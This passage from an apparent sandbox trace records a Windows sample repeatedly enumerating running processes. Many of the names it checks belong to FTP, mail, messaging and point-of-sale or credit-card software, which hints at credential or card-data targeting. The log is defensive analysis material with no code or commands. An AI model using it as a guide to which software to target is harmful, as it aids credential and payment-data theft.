lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0278.920] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0278.960] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0278.963] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0278.965] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0278.967] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0278.969] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0278.972] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0278.974] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0278.976] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0278.978] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0278.980] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0278.982] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0278.984] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0278.986] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0278.989] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0278.991] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0278.993] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0278.996] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0278.999] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0279.002] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0279.004] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0279.007] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0279.009] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0279.012] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0279.015] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0279.018] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0279.020] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0279.023] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0279.025] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0279.027] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0279.030] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0279.034] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0279.036] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0279.038] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0279.041] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0279.043] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0279.045] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0279.048] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0279.050] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0279.052] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0279.055] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0279.057] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0279.059] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0279.061] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0279.064] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0279.067] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0279.102] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0279.105] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0279.108] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0279.111] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0279.113] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0279.115] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0279.118] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0279.120] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.123] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0279.125] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0279.127] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0279.130] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0279.132] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0279.135] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0279.137] CloseHandle (hObject=0x21b0) returned 1 [0279.137] Sleep (dwMilliseconds=0x64) [0279.140] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21b0 [0279.158] Process32First (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0279.160] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0279.162] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0279.164] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0279.166] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0279.168] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0279.170] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0279.172] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0279.174] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0279.178] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.180] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.182] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0279.184] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.186] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.188] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.190] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.192] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.194] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.196] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.198] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0279.200] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0279.202] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, 